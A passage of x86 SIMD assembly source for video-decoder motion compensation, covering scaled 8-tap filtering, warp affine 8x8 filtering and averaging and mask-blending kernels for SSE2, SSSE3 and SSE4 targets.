mova [esp+0x1d0], m7
mova m1, [esp+0x060]
mova m2, [esp+0x070]
mova m3, [esp+0x180]
mova m4, [esp+0x190]
punpcklwd m0, m1, m2 ; 01a
punpckhwd m1, m2 ; 01b
punpcklwd m2, m3, m4 ; 23a
punpckhwd m3, m4 ; 23b
mova [esp+0x180], m2
mova [esp+0x190], m3
%define m8 [esp+0x140]
%define m9 [esp+0x150]
%define m10 [esp+0x160]
%define m11 [esp+0x170]
%endif
.dy2_vloop:
%if ARCH_X86_32
mov r0, r0m
%endif
pmaddwd m4, m0, m8
pmaddwd m5, m1, m8
pmaddwd m6, m2, m9
pmaddwd m7, m3, m9
paddd m4, m13
paddd m5, m13
paddd m4, m6
paddd m5, m7
%if ARCH_X86_64
pmaddwd m6, [rsp+0x50], m10
pmaddwd m7, [rsp+0x60], m10
%else
pmaddwd m6, [esp+0x1a0], m10
pmaddwd m7, [esp+0x1b0], m10
%endif
paddd m4, m6
paddd m5, m7
%if ARCH_X86_64
pmaddwd m6, [rsp+0x70], m11
pmaddwd m7, [rsp+0x80], m11
%else
pmaddwd m6, [esp+0x1c0], m11
pmaddwd m7, [esp+0x1d0], m11
%endif
paddd m4, m6
paddd m5, m7
psrad m4, rndshift
psrad m5, rndshift
packssdw m4, m5
%ifidn %1, put
packuswb m4, m4
movq [dstq], m4
add dstq, dsm
%else
mova [tmpq], m4
add tmpq, tmp_stridem
%endif
%if ARCH_X86_32
mov r0m, r0
%endif
dec hd
jz .dy2_hloop_prep
%if ARCH_X86_64
mova m8, [rsp+0x10]
mova m9, [rsp+0x20]
mova m10, [rsp+0x30]
mova m11, [rsp+0x40]
mova m0, m2 ; 01a
mova m1, m3 ; 01b
MC_8TAP_SCALED_H 2, 6, 3, 4, 5, 7, 14, 15, 8, 9, 10, 11
mova m3, [rsp+0x50] ; 23a
mova m4, [rsp+0x60] ; 23b
mova m5, [rsp+0x70] ; 45a
mova m7, [rsp+0x80] ; 45b
mova m8, [rsp+0x140]
mova m9, [rsp+0x150]
mova m10, [rsp+0x160]
mova m11, [rsp+0x170]
punpcklwd m14, m2, m6 ; 67a
punpckhwd m2, m6 ; 67b
mova [rsp+0x50], m5
mova [rsp+0x60], m7
mova [rsp+0x70], m14
mova [rsp+0x80], m2
mova m2, m3
mova m3, m4
%else
MC_8TAP_SCALED_H 0x20, 0
punpcklwd m6, m0, m4
punpckhwd m7, m0, m4
mova m0, [esp+0x180] ; 01a
mova m1, [esp+0x190] ; 01b
mova m2, [rsp+0x1a0] ; 23a
mova m3, [esp+0x1b0] ; 23b
mova m4, [esp+0x1c0] ; 45a
mova m5, [esp+0x1d0] ; 45b
mova [esp+0x180], m2
mova [esp+0x190], m3
mova [esp+0x1a0], m4
mova [esp+0x1b0], m5
mova [esp+0x1c0], m6 ; 67a
mova [esp+0x1d0], m7 ; 67b
%endif
jmp .dy2_vloop
.ret:
MC_8TAP_SCALED_RET 0
%if ARCH_X86_32 && !isprep && required_stack_alignment > STACK_ALIGNMENT
%define r0m [rstk+stack_offset+ 4]
%define r1m [rstk+stack_offset+ 8]
%define r2m [rstk+stack_offset+12]
%define r3m [rstk+stack_offset+16]
%endif
%undef isprep
%endmacro
%macro BILIN_SCALED_FN 1
cglobal %1_bilin_scaled_8bpc
mov t0d, (5*15 << 16) | 5*15
mov t1d, (5*15 << 16) | 5*15
jmp mangle(private_prefix %+ _%1_8tap_scaled_8bpc %+ SUFFIX)
%endmacro
%if WIN64
DECLARE_REG_TMP 6, 5
%elif ARCH_X86_64
DECLARE_REG_TMP 6, 8
%else
DECLARE_REG_TMP 1, 2
%endif
BILIN_SCALED_FN put
FN put_8tap_scaled, sharp, SHARP, SHARP
FN put_8tap_scaled, sharp_smooth, SHARP, SMOOTH
FN put_8tap_scaled, smooth_sharp, SMOOTH, SHARP
FN put_8tap_scaled, smooth, SMOOTH, SMOOTH
FN put_8tap_scaled, sharp_regular, SHARP, REGULAR
FN put_8tap_scaled, regular_sharp, REGULAR, SHARP
FN put_8tap_scaled, smooth_regular, SMOOTH, REGULAR
FN put_8tap_scaled, regular_smooth, REGULAR, SMOOTH
FN put_8tap_scaled, regular, REGULAR, REGULAR
MC_8TAP_SCALED put
%if WIN64
DECLARE_REG_TMP 5, 4
%elif ARCH_X86_64
DECLARE_REG_TMP 6, 7
%else
DECLARE_REG_TMP 1, 2
%endif
BILIN_SCALED_FN prep
FN prep_8tap_scaled, sharp, SHARP, SHARP
FN prep_8tap_scaled, sharp_smooth, SHARP, SMOOTH
FN prep_8tap_scaled, smooth_sharp, SMOOTH, SHARP
FN prep_8tap_scaled, smooth, SMOOTH, SMOOTH
FN prep_8tap_scaled, sharp_regular, SHARP, REGULAR
FN prep_8tap_scaled, regular_sharp, REGULAR, SHARP
FN prep_8tap_scaled, smooth_regular, SMOOTH, REGULAR
FN prep_8tap_scaled, regular_smooth, REGULAR, SMOOTH
FN prep_8tap_scaled, regular, REGULAR, REGULAR
MC_8TAP_SCALED prep
%if ARCH_X86_32
%macro SAVE_ALPHA_BETA 0
mov alpham, alphad
mov betam, betad
%endmacro
%macro SAVE_DELTA_GAMMA 0
mov deltam, deltad
mov gammam, gammad
%endmacro
%macro LOAD_ALPHA_BETA_MX 0
mov mym, myd
mov alphad, alpham
mov betad, betam
mov mxd, mxm
%endmacro
%macro LOAD_DELTA_GAMMA_MY 0
mov mxm, mxd
mov deltad, deltam
mov gammad, gammam
mov myd, mym
%endmacro
%define PIC_reg r2
%define PIC_base_offset $$
%define PIC_sym(sym) (PIC_reg+(sym)-PIC_base_offset)
%else
%define SAVE_ALPHA_BETA
%define SAVE_DELTA_GAMMA
%define PIC_sym(sym) sym
%endif
%if ARCH_X86_32
%if STACK_ALIGNMENT < required_stack_alignment
%assign copy_args 8*4
%else
%assign copy_args 0
%endif
%endif
%macro RELOC_ARGS 0
%if copy_args
mov r0, r0m
mov r1, r1m
mov r2, r2m
mov r3, r3m
mov r5, r5m
mov dstm, r0
mov dsm, r1
mov srcm, r2
mov ssm, r3
mov mxm, r5
mov r0, r6m
mov mym, r0
%endif
%endmacro
%macro BLENDHWDW 2 ; blend high words from dwords, src1, src2
%if cpuflag(sse4)
pblendw %1, %2, 0xAA
%else
pand %2, m10
por %1, %2
%endif
%endmacro
%macro WARP_V 10 ; dst0, dst1, 0, 2, 4, 6, 1, 3, 5, 7
%if ARCH_X86_32
%define m8 m4
%define m9 m5
%define m14 m6
%define m15 m7
%define m11 m7
%endif
%if notcpuflag(ssse3) || ARCH_X86_32
pxor m11, m11
%endif
lea tmp1d, [myq+deltaq*4]
lea tmp2d, [myq+deltaq*1]
shr myd, 10
shr tmp1d, 10
movq m2, [filterq+myq *8] ; a
movq m8, [filterq+tmp1q*8] ; e
lea tmp1d, [tmp2q+deltaq*4]
lea myd, [tmp2q+deltaq*1]
shr tmp2d, 10
shr tmp1d, 10
movq m3, [filterq+tmp2q*8] ; b
movq m0, [filterq+tmp1q*8] ; f
punpcklwd m2, m3
punpcklwd m8, m0
lea tmp1d, [myq+deltaq*4]
lea tmp2d, [myq+deltaq*1]
shr myd, 10
shr tmp1d, 10
movq m0, [filterq+myq *8] ; c
movq m9, [filterq+tmp1q*8] ; g
lea tmp1d, [tmp2q+deltaq*4]
lea myd, [tmp2q+gammaq] ; my += gamma
shr tmp2d, 10
shr tmp1d, 10
movq m3, [filterq+tmp2q*8] ; d
movq m1, [filterq+tmp1q*8] ; h
punpcklwd m0, m3
punpcklwd m9, m1
punpckldq m1, m2, m0
punpckhdq m2, m0
punpcklbw m0, m11, m1 ; a0 a2 b0 b2 c0 c2 d0 d2 << 8
punpckhbw m3, m11, m1 ; a4 a6 b4 b6 c4 c6 d4 d6 << 8
punpcklbw m1, m11, m2 ; a1 a3 b1 b3 c1 c3 d1 d3 << 8
punpckhbw m14, m11, m2 ; a5 a7 b5 b7 c5 c7 d5 d7 << 8
pmaddwd m0, %3
pmaddwd m3, %5
pmaddwd m1, %7
pmaddwd m14, %9
paddd m0, m3
paddd m1, m14
paddd m0, m1
mova %1, m0
%if ARCH_X86_64
SWAP m3, m14
%endif
punpckldq m0, m8, m9
punpckhdq m8, m9
punpcklbw m1, m11, m0 ; e0 e2 f0 f2 g0 g2 h0 h2 << 8
punpckhbw m14, m11, m0 ; e4 e6 f4 f6 g4 g6 h4 h6 << 8
punpcklbw m2, m11, m8 ; e1 e3 f1 f3 g1 g3 h1 h3 << 8
punpckhbw m15, m11, m8 ; e5 e7 f5 f7 g5 g7 h5 h7 << 8
pmaddwd m1, %4
pmaddwd m14, %6
pmaddwd m2, %8
pmaddwd m15, %10
paddd m1, m14
paddd m2, m15
paddd m1, m2
mova %2, m1
%if ARCH_X86_64
SWAP m14, m3
%endif
%endmacro
%if ARCH_X86_64
%define counterd r4d
%else
%if copy_args == 0
%define counterd dword r4m
%else
%define counterd dword [esp+stack_size-4*7]
%endif
%endif
%macro WARP_AFFINE_8X8T 0
%if ARCH_X86_64
cglobal warp_affine_8x8t_8bpc, 6, 14, 16, 0x90, tmp, ts
%else
cglobal warp_affine_8x8t_8bpc, 0, 7, 16, -0x130-copy_args, tmp, ts
%if copy_args
%define tmpm [esp+stack_size-4*1]
%define tsm [esp+stack_size-4*2]
%endif
%endif
call mangle(private_prefix %+ _warp_affine_8x8_8bpc_%+cpuname).main
.loop:
%if ARCH_X86_32
%define m12 m4
%define m13 m5
%define m14 m6
%define m15 m7
mova m12, [esp+0xC0]
mova m13, [esp+0xD0]
mova m14, [esp+0xE0]
mova m15, [esp+0xF0]
%endif
%if cpuflag(ssse3)
psrad m12, 13
psrad m13, 13
psrad m14, 13
psrad m15, 13
packssdw m12, m13
packssdw m14, m15
mova m13, [PIC_sym(pw_8192)]
pmulhrsw m12, m13 ; (x + (1 << 6)) >> 7
pmulhrsw m14, m13
%else
%if ARCH_X86_32
%define m10 m0
%endif
mova m10, [PIC_sym(pd_16384)]
paddd m12, m10
paddd m13, m10
paddd m14, m10
paddd m15, m10
psrad m12, 15
psrad m13, 15
psrad m14, 15
psrad m15, 15
packssdw m12, m13
packssdw m14, m15
%endif
mova [tmpq+tsq*0], m12
mova [tmpq+tsq*2], m14
dec counterd
jz mangle(private_prefix %+ _warp_affine_8x8_8bpc_%+cpuname).end
%if ARCH_X86_32
mov tmpm, tmpd
mov r0, [esp+0x100]
mov r1, [esp+0x104]
%endif
call mangle(private_prefix %+ _warp_affine_8x8_8bpc_%+cpuname).main2
lea tmpq, [tmpq+tsq*4]
jmp .loop
%endmacro
%macro WARP_AFFINE_8X8 0
%if ARCH_X86_64
cglobal warp_affine_8x8_8bpc, 6, 14, 16, 0x90, \
dst, ds, src, ss, abcd, mx, tmp2, alpha, beta, \
filter, tmp1, delta, my, gamma
%else
cglobal warp_affine_8x8_8bpc, 0, 7, 16, -0x130-copy_args, \
dst, ds, src, ss, abcd, mx, tmp2, alpha, beta, \
filter, tmp1, delta, my, gamma
%define alphaq r0
%define alphad r0
%define alpham [esp+gprsize+0x100]
%define betaq r1
%define betad r1
%define betam [esp+gprsize+0x104]
%define deltaq r0
%define deltad r0
%define deltam [esp+gprsize+0x108]
%define gammaq r1
%define gammad r1
%define gammam [esp+gprsize+0x10C]
%define filterq r3
%define tmp1q r4
%define tmp1d r4
%define tmp1m [esp+gprsize+0x110]
%define myq r5
%define myd r5
%define mym r6m
%if copy_args
%define dstm [esp+stack_size-4*1]
%define dsm [esp+stack_size-4*2]
%define srcm [esp+stack_size-4*3]
%define ssm [esp+stack_size-4*4]
%define mxm [esp+stack_size-4*5]
%define mym [esp+stack_size-4*6]
%endif
%endif
call .main
jmp .start
.loop:
%if ARCH_X86_32
mov dstm, dstd
mov alphad, [esp+0x100]
mov betad, [esp+0x104]
%endif
call .main2
lea dstq, [dstq+dsq*2]
.start:
%if notcpuflag(sse4)
%if cpuflag(ssse3)
%define roundval pw_8192
%else
%define roundval pd_262144
%endif
%if ARCH_X86_64
mova m10, [PIC_sym(roundval)]
%else
%define m10 [PIC_sym(roundval)]
%endif
%endif
%if ARCH_X86_32
%define m12 m5
%define m13 m6
mova m12, [esp+0xC0]
mova m13, [esp+0xD0]
%endif
%if cpuflag(sse4)
%if ARCH_X86_32
%define m11 m4
pxor m11, m11
%endif
psrad m12, 18
psrad m13, 18
packusdw m12, m13
pavgw m12, m11 ; (x + (1 << 10)) >> 11
%else
%if cpuflag(ssse3)
psrad m12, 17
psrad m13, 17
packssdw m12, m13
pmulhrsw m12, m10
%else
paddd m12, m10
paddd m13, m10
psrad m12, 19
psrad m13, 19
packssdw m12, m13
%endif
%endif
%if ARCH_X86_32
%define m14 m6
%define m15 m7
mova m14, [esp+0xE0]
mova m15, [esp+0xF0]
%endif
%if cpuflag(sse4)
psrad m14, 18
psrad m15, 18
packusdw m14, m15
pavgw m14, m11 ; (x + (1 << 10)) >> 11
%else
%if cpuflag(ssse3)
psrad m14, 17
psrad m15, 17
packssdw m14, m15
pmulhrsw m14, m10
%else
paddd m14, m10
paddd m15, m10
psrad m14, 19
psrad m15, 19
packssdw m14, m15
%endif
%endif
packuswb m12, m14
movq [dstq+dsq*0], m12
movhps [dstq+dsq*1], m12
dec counterd
jg .loop
.end:
RET
ALIGN function_align
.main:
%assign stack_offset stack_offset+gprsize
%if ARCH_X86_32
%assign stack_size stack_size+4
%if copy_args
%assign stack_offset stack_offset-4
%endif
RELOC_ARGS
LEA PIC_reg, $$
%define PIC_mem [esp+gprsize+0x114]
mov abcdd, abcdm
%if copy_args == 0
mov ssd, ssm
mov mxd, mxm
%endif
mov PIC_mem, PIC_reg
mov srcd, srcm
%endif
movsx deltad, word [abcdq+2*2]
movsx gammad, word [abcdq+2*3]
lea tmp1d, [deltaq*3]
sub gammad, tmp1d ; gamma -= delta*3
SAVE_DELTA_GAMMA
%if ARCH_X86_32
mov abcdd, abcdm
%endif
movsx alphad, word [abcdq+2*0]
movsx betad, word [abcdq+2*1]
lea tmp1q, [ssq*3+3]
add mxd, 512+(64<<10)
lea tmp2d, [alphaq*3]
sub srcq, tmp1q ; src -= src_stride*3 + 3
%if ARCH_X86_32
mov srcm, srcd
mov PIC_reg, PIC_mem
%endif
sub betad, tmp2d ; beta -= alpha*3
lea filterq, [PIC_sym(mc_warp_filter2)]
%if ARCH_X86_64
mov myd, r6m
%if cpuflag(ssse3)
pxor m11, m11
%endif
%endif
call .h
psrld m2, m0, 16
psrld m3, m1, 16
%if ARCH_X86_32
%if notcpuflag(ssse3)
mova [esp+gprsize+0x00], m2
%endif
mova [esp+gprsize+0x10], m3
%endif
call .h
psrld m4, m0, 16
psrld m5, m1, 16
%if ARCH_X86_32
mova [esp+gprsize+0x20], m4
mova [esp+gprsize+0x30], m5
%endif
call .h
%if ARCH_X86_64
%define blendmask [rsp+gprsize+0x80]
%else
%if notcpuflag(ssse3)
mova m2, [esp+gprsize+0x00]
%endif
mova m3, [esp+gprsize+0x10]
%define blendmask [esp+gprsize+0x120]
%define m10 m7
%endif
pcmpeqd m10, m10
pslld m10, 16
mova blendmask, m10
BLENDHWDW m2, m0 ; 0
BLENDHWDW m3, m1 ; 2
mova [rsp+gprsize+0x00], m2
mova [rsp+gprsize+0x10], m3
call .h
%if ARCH_X86_32
mova m4, [esp+gprsize+0x20]
mova m5, [esp+gprsize+0x30]
%endif
mova m10, blendmask
BLENDHWDW m4, m0 ; 1
BLENDHWDW m5, m1 ; 3
mova [rsp+gprsize+0x20], m4
mova [rsp+gprsize+0x30], m5
call .h
%if ARCH_X86_32
%if notcpuflag(ssse3)
mova m2, [esp+gprsize+0x00]
%endif
mova m3, [esp+gprsize+0x10]
%define m10 m5
%endif
psrld m6, m2, 16
psrld m7, m3, 16
mova m10, blendmask
BLENDHWDW m6, m0 ; 2
BLENDHWDW m7, m1 ; 4
mova [rsp+gprsize+0x40], m6
mova [rsp+gprsize+0x50], m7
call .h
%if ARCH_X86_32
mova m4, [esp+gprsize+0x20]
mova m5, [esp+gprsize+0x30]
%endif
psrld m2, m4, 16
psrld m3, m5, 16
mova m10, blendmask
BLENDHWDW m2, m0 ; 3
BLENDHWDW m3, m1 ; 5
mova [rsp+gprsize+0x60], m2
mova [rsp+gprsize+0x70], m3
call .h
%if ARCH_X86_32
mova m6, [esp+gprsize+0x40]
mova m7, [esp+gprsize+0x50]
%define m10 m7
%endif
psrld m4, m6, 16
psrld m5, m7, 16
mova m10, blendmask
BLENDHWDW m4, m0 ; 4
BLENDHWDW m5, m1 ; 6
%if ARCH_X86_64
add myd, 512+(64<<10)
mova m6, m2
mova m7, m3
%else
mova [esp+gprsize+0x80], m4
mova [esp+gprsize+0x90], m5
add dword mym, 512+(64<<10)
%endif
mov counterd, 4
SAVE_ALPHA_BETA
.main2:
call .h
%if ARCH_X86_32
mova m6, [esp+gprsize+0x60]
mova m7, [esp+gprsize+0x70]
%define m10 m5
%endif
psrld m6, 16
psrld m7, 16
mova m10, blendmask
BLENDHWDW m6, m0 ; 5
BLENDHWDW m7, m1 ; 7
%if ARCH_X86_64
WARP_V m12, m13, [rsp+gprsize+0x00], [rsp+gprsize+0x10], \
m4, m5, \
[rsp+gprsize+0x20], [rsp+gprsize+0x30], \
m6, m7
%else
mova [esp+gprsize+0xA0], m6
mova [esp+gprsize+0xB0], m7
LOAD_DELTA_GAMMA_MY
WARP_V [esp+gprsize+0xC0], [esp+gprsize+0xD0], \
[esp+gprsize+0x00], [esp+gprsize+0x10], \
[esp+gprsize+0x80], [esp+gprsize+0x90], \
[esp+gprsize+0x20], [esp+gprsize+0x30], \
[esp+gprsize+0xA0], [esp+gprsize+0xB0]
LOAD_ALPHA_BETA_MX
%endif
call .h
mova m2, [rsp+gprsize+0x40]
mova m3, [rsp+gprsize+0x50]
%if ARCH_X86_32
mova m4, [rsp+gprsize+0x80]
mova m5, [rsp+gprsize+0x90]
%define m10 m7
%endif
mova [rsp+gprsize+0x00], m2
mova [rsp+gprsize+0x10], m3
mova [rsp+gprsize+0x40], m4
mova [rsp+gprsize+0x50], m5
psrld m4, 16
psrld m5, 16
mova m10, blendmask
BLENDHWDW m4, m0 ; 6
BLENDHWDW m5, m1 ; 8
%if ARCH_X86_64
WARP_V m14, m15, [rsp+gprsize+0x20], [rsp+gprsize+0x30], \
m6, m7, \
[rsp+gprsize+0x00], [rsp+gprsize+0x10], \
m4, m5
%else
mova [esp+gprsize+0x80], m4
mova [esp+gprsize+0x90], m5
LOAD_DELTA_GAMMA_MY
WARP_V [esp+gprsize+0xE0], [esp+gprsize+0xF0], \
[esp+gprsize+0x20], [esp+gprsize+0x30], \
[esp+gprsize+0xA0], [esp+gprsize+0xB0], \
[esp+gprsize+0x00], [esp+gprsize+0x10], \
[esp+gprsize+0x80], [esp+gprsize+0x90]
mov mym, myd
mov dstd, dstm
mov dsd, dsm
mov mxd, mxm
%endif
mova m2, [rsp+gprsize+0x60]
mova m3, [rsp+gprsize+0x70]
%if ARCH_X86_32
mova m6, [esp+gprsize+0xA0]
mova m7, [esp+gprsize+0xB0]
%endif
mova [rsp+gprsize+0x20], m2
mova [rsp+gprsize+0x30], m3
mova [rsp+gprsize+0x60], m6
mova [rsp+gprsize+0x70], m7
ret
ALIGN function_align
.h:
%if ARCH_X86_32
%define m8 m3
%define m9 m4
%define m10 m5
%define m14 m6
%define m15 m7
%endif
lea tmp1d, [mxq+alphaq*4]
lea tmp2d, [mxq+alphaq*1]
%if ARCH_X86_32
%assign stack_offset stack_offset+4
%assign stack_size stack_size+4
%define PIC_mem [esp+gprsize*2+0x114]
mov PIC_mem, PIC_reg
mov srcd, srcm
%endif
movu m10, [srcq]
%if ARCH_X86_32
add srcd, ssm
mov srcm, srcd
mov PIC_reg, PIC_mem
%else
add srcq, ssq
%endif
shr mxd, 10
shr tmp1d, 10
movq m1, [filterq+mxq *8] ; 0 X
movq m8, [filterq+tmp1q*8] ; 4 X
lea tmp1d, [tmp2q+alphaq*4]
lea mxd, [tmp2q+alphaq*1]
shr tmp2d, 10
shr tmp1d, 10
movhps m1, [filterq+tmp2q*8] ; 0 1
movhps m8, [filterq+tmp1q*8] ; 4 5
lea tmp1d, [mxq+alphaq*4]
lea tmp2d, [mxq+alphaq*1]
shr mxd, 10
shr tmp1d, 10
%if cpuflag(ssse3)
movq m14, [filterq+mxq *8] ; 2 X
movq m9, [filterq+tmp1q*8] ; 6 X
lea tmp1d, [tmp2q+alphaq*4]
lea mxd, [tmp2q+betaq] ; mx += beta
shr tmp2d, 10
shr tmp1d, 10
movhps m14, [filterq+tmp2q*8] ; 2 3
movhps m9, [filterq+tmp1q*8] ; 6 7
pshufb m0, m10, [PIC_sym(warp_8x8_shufA)]
pmaddubsw m0, m1
pshufb m1, m10, [PIC_sym(warp_8x8_shufB)]
pmaddubsw m1, m8
pshufb m15, m10, [PIC_sym(warp_8x8_shufC)]
pmaddubsw m15, m14
pshufb m10, m10, [PIC_sym(warp_8x8_shufD)]
pmaddubsw m10, m9
phaddw m0, m15
phaddw m1, m10
%else
%if ARCH_X86_32
%define m11 m2
%endif
pcmpeqw m0, m0
psrlw m14, m0, 8
psrlw m15, m10, 8 ; 01 03 05 07 09 11 13 15
pand m14, m10 ; 00 02 04 06 08 10 12 14
packuswb m14, m15 ; 00 02 04 06 08 10 12 14 01 03 05 07 09 11 13 15
psrldq m9, m0, 4
pshufd m0, m14, q0220
pand m0, m9
psrldq m14, 1 ; 02 04 06 08 10 12 14 01 03 05 07 09 11 13 15 __
pslldq m15, m14, 12
por m0, m15 ; shufA
psrlw m15, m0, 8
psraw m11, m1, 8
psllw m0, 8
psllw m1, 8
psrlw m0, 8
psraw m1, 8
pmullw m15, m11
pmullw m0, m1
paddw m0, m15 ; pmaddubsw m0, m1
pshufd m15, m14, q0220
pand m15, m9
psrldq m14, 1 ; 04 06 08 10 12 14 01 03 05 07 09 11 13 15 __ __
pslldq m1, m14, 12
por m15, m1 ; shufC
pshufd m1, m14, q0220
pand m1, m9
psrldq m14, 1 ; 06 08 10 12 14 01 03 05 07 09 11 13 15 __ __ __
pslldq m11, m14, 12
por m1, m11 ; shufB
pshufd m10, m14, q0220
pand m10, m9
psrldq m14, 1 ; 08 10 12 14 01 03 05 07 09 11 13 15 __ __ __ __
pslldq m14, m14, 12
por m10, m14 ; shufD
psrlw m9, m1, 8
psraw m11, m8, 8
psllw m1, 8
psllw m8, 8
psrlw m1, 8
psraw m8, 8
pmullw m9, m11
pmullw m1, m8
paddw m1, m9 ; pmaddubsw m1, m8
movq m14, [filterq+mxq *8] ; 2 X
movq m9, [filterq+tmp1q*8] ; 6 X
lea tmp1d, [tmp2q+alphaq*4]
lea mxd, [tmp2q+betaq] ; mx += beta
shr tmp2d, 10
shr tmp1d, 10
movhps m14, [filterq+tmp2q*8] ; 2 3
movhps m9, [filterq+tmp1q*8] ; 6 7
psrlw m8, m15, 8
psraw m11, m14, 8
psllw m15, 8
psllw m14, 8
psrlw m15, 8
psraw m14, 8
pmullw m8, m11
pmullw m15, m14
paddw m15, m8 ; pmaddubsw m15, m14
psrlw m8, m10, 8
psraw m11, m9, 8
psllw m10, 8
psllw m9, 8
psrlw m10, 8
psraw m9, 8
pmullw m8, m11
pmullw m10, m9
paddw m10, m8 ; pmaddubsw m10, m9
pslld m8, m0, 16
pslld m9, m1, 16
pslld m14, m15, 16
pslld m11, m10, 16
paddw m0, m8
paddw m1, m9
paddw m15, m14
paddw m10, m11
psrad m0, 16
psrad m1, 16
psrad m15, 16
psrad m10, 16
packssdw m0, m15 ; phaddw m0, m15
packssdw m1, m10 ; phaddw m1, m10
%endif
mova m14, [PIC_sym(pw_8192)]
mova m9, [PIC_sym(pd_32768)]
pmaddwd m0, m14 ; 17-bit intermediate, upshifted by 13
pmaddwd m1, m14
paddd m0, m9 ; rounded 14-bit result in upper 16 bits of dword
paddd m1, m9
ret
%endmacro
%if WIN64
DECLARE_REG_TMP 6, 4
%else
DECLARE_REG_TMP 6, 7
%endif
%macro BIDIR_FN 1 ; op
%1 0
lea stride3q, [strideq*3]
jmp wq
.w4_loop:
%1_INC_PTR 2
%1 0
lea dstq, [dstq+strideq*4]
.w4: ; tile 4x
movd [dstq ], m0 ; copy dw[0]
pshuflw m1, m0, q1032 ; swap dw[1] and dw[0]
movd [dstq+strideq*1], m1 ; copy dw[1]
punpckhqdq m0, m0 ; swap dw[3,2] with dw[1,0]
movd [dstq+strideq*2], m0 ; dw[2]
psrlq m0, 32 ; shift right in dw[3]
movd [dstq+stride3q ], m0 ; copy
sub hd, 4
jg .w4_loop
RET
.w8_loop:
%1_INC_PTR 2
%1 0
lea dstq, [dstq+strideq*2]
.w8:
movq [dstq ], m0
movhps [dstq+strideq*1], m0
sub hd, 2
jg .w8_loop
RET
.w16_loop:
%1_INC_PTR 2
%1 0
lea dstq, [dstq+strideq]
.w16:
mova [dstq ], m0
dec hd
jg .w16_loop
RET
.w32_loop:
%1_INC_PTR 4
%1 0
lea dstq, [dstq+strideq]
.w32:
mova [dstq ], m0
%1 2
mova [dstq + 16 ], m0
dec hd
jg .w32_loop
RET
.w64_loop:
%1_INC_PTR 8
%1 0
add dstq, strideq
.w64:
%assign i 0
%rep 4
mova [dstq + i*16 ], m0
%assign i i+1
%if i < 4
%1 2*i
%endif
%endrep
dec hd
jg .w64_loop
RET
.w128_loop:
%1_INC_PTR 16
%1 0
add dstq, strideq
.w128:
%assign i 0
%rep 8
mova [dstq + i*16 ], m0
%assign i i+1
%if i < 8
%1 2*i
%endif
%endrep
dec hd
jg .w128_loop
RET
%endmacro
%macro AVG 1 ; src_offset
; writes AVG of tmp1 tmp2 uint16 coeffs into uint8 pixel
mova m0, [tmp1q+(%1+0)*mmsize] ; load 8 coef(2bytes) from tmp1
paddw m0, [tmp2q+(%1+0)*mmsize] ; load/add 8 coef(2bytes) tmp2
mova m1, [tmp1q+(%1+1)*mmsize]
paddw m1, [tmp2q+(%1+1)*mmsize]
pmulhrsw m0, m2
pmulhrsw m1, m2
packuswb m0, m1 ; pack/trunc 16 bits from m0 & m1 to 8 bit
%endmacro
%macro AVG_INC_PTR 1
add tmp1q, %1*mmsize
add tmp2q, %1*mmsize
%endmacro
cglobal avg_8bpc, 4, 7, 3, dst, stride, tmp1, tmp2, w, h, stride3
LEA r6, avg_ssse3_table
tzcnt wd, wm ; leading zeros
movifnidn hd, hm ; move h(stack) to h(register) if not already that register
movsxd wq, dword [r6+wq*4] ; push table entry matching the tile width (tzcnt) in widen reg
mova m2, [pw_1024+r6-avg_ssse3_table] ; fill m2 with shift/align
add wq, r6
BIDIR_FN AVG
%macro W_AVG 1 ; src_offset
; (a * weight + b * (16 - weight) + 128) >> 8
; = ((a - b) * weight + (b << 4) + 128) >> 8
; = ((((a - b) * ((weight-16) << 12)) >> 16) + a + 8) >> 4
; = ((((b - a) * (-weight << 12)) >> 16) + b + 8) >> 4
mova m2, [tmp1q+(%1+0)*mmsize]
mova m0, m2
psubw m2, [tmp2q+(%1+0)*mmsize]
mova m3, [tmp1q+(%1+1)*mmsize]
mova m1, m3
psubw m3, [tmp2q+(%1+1)*mmsize]
pmulhw m2, m4
pmulhw m3, m4
paddw m0, m2
paddw m1, m3
pmulhrsw m0, m5
pmulhrsw m1, m5
packuswb m0, m1
%endmacro
%define W_AVG_INC_PTR AVG_INC_PTR
cglobal w_avg_8bpc, 4, 7, 6, dst, stride, tmp1, tmp2, w, h, stride3
LEA r6, w_avg_ssse3_table
tzcnt wd, wm
movd m4, r6m
movifnidn hd, hm
pxor m0, m0
movsxd wq, dword [r6+wq*4]
mova m5, [pw_2048+r6-w_avg_ssse3_table]
pshufb m4, m0
psllw m4, 12 ; (weight-16) << 12 when interpreted as signed
add wq, r6
cmp dword r6m, 7
jg .weight_gt7
mov r6, tmp1q
psubw m0, m4
mov tmp1q, tmp2q
mova m4, m0 ; -weight
mov tmp2q, r6
.weight_gt7:
BIDIR_FN W_AVG
%macro MASK 1 ; src_offset
; (a * m + b * (64 - m) + 512) >> 10
; = ((a - b) * m + (b << 6) + 512) >> 10
; = ((((b - a) * (-m << 10)) >> 16) + b + 8) >> 4
mova m3, [maskq+(%1+0)*(mmsize/2)]
mova m0, [tmp2q+(%1+0)*mmsize] ; b
psubw m1, m0, [tmp1q+(%1+0)*mmsize] ; b - a
mova m6, m3 ; m
psubb m3, m4, m6 ; -m
paddw m1, m1 ; (b - a) << 1
paddb m3, m3 ; -m << 1
punpcklbw m2, m4, m3 ; -m << 9 (<< 8 when ext as uint16)
pmulhw m1, m2 ; (-m * (b - a)) << 10
paddw m0, m1 ; + b
mova m1, [tmp2q+(%1+1)*mmsize] ; b
psubw m2, m1, [tmp1q+(%1+1)*mmsize] ; b - a
paddw m2, m2 ; (b - a) << 1
mova m6, m3 ; (-m << 1)
punpckhbw m3, m4, m6 ; (-m << 9)
pmulhw m2, m3 ; (-m << 9)
paddw m1, m2 ; (-m * (b - a)) << 10
pmulhrsw m0, m5 ; round
pmulhrsw m1, m5 ; round
packuswb m0, m1 ; interleave 16 -> 8
%endmacro
%macro MASK_INC_PTR 1
add maskq, %1*mmsize/2
add tmp1q, %1*mmsize
add tmp2q, %1*mmsize
%endmacro
%if ARCH_X86_64
cglobal mask_8bpc, 4, 8, 7, dst, stride, tmp1, tmp2, w, h, mask, stride3
movifnidn hd, hm
%else
cglobal mask_8bpc, 4, 7, 7, dst, stride, tmp1, tmp2, w, mask, stride3
%define hd dword r5m
%endif
%define base r6-mask_ssse3_table
LEA r6, mask_ssse3_table
tzcnt wd, wm
movsxd wq, dword [r6+wq*4]
pxor m4, m4
mova m5, [base+pw_2048]
add wq, r6
mov maskq, r6m
BIDIR_FN MASK
%undef hd
%macro W_MASK_420_END 1-*
%rep %0
call .main
paddw m2, [maskq+16*%1]
mova [maskq+16*%1], m2
